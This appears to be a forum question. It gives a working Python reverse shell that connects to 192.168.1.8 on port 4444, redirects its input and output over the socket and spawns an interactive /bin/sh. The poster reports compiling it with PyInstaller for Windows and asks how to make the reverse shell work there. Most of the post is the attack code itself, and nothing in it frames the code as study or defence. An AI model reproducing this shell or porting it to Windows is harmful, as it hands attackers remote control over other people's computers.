i have this piece of code
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.8",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
This works well on Linux but not on Windows. I compilie it using pyinstaller and when I run it on Windows i get a bad file descriptor on line 4. how do I make a reverse shell that works on Windows with this method?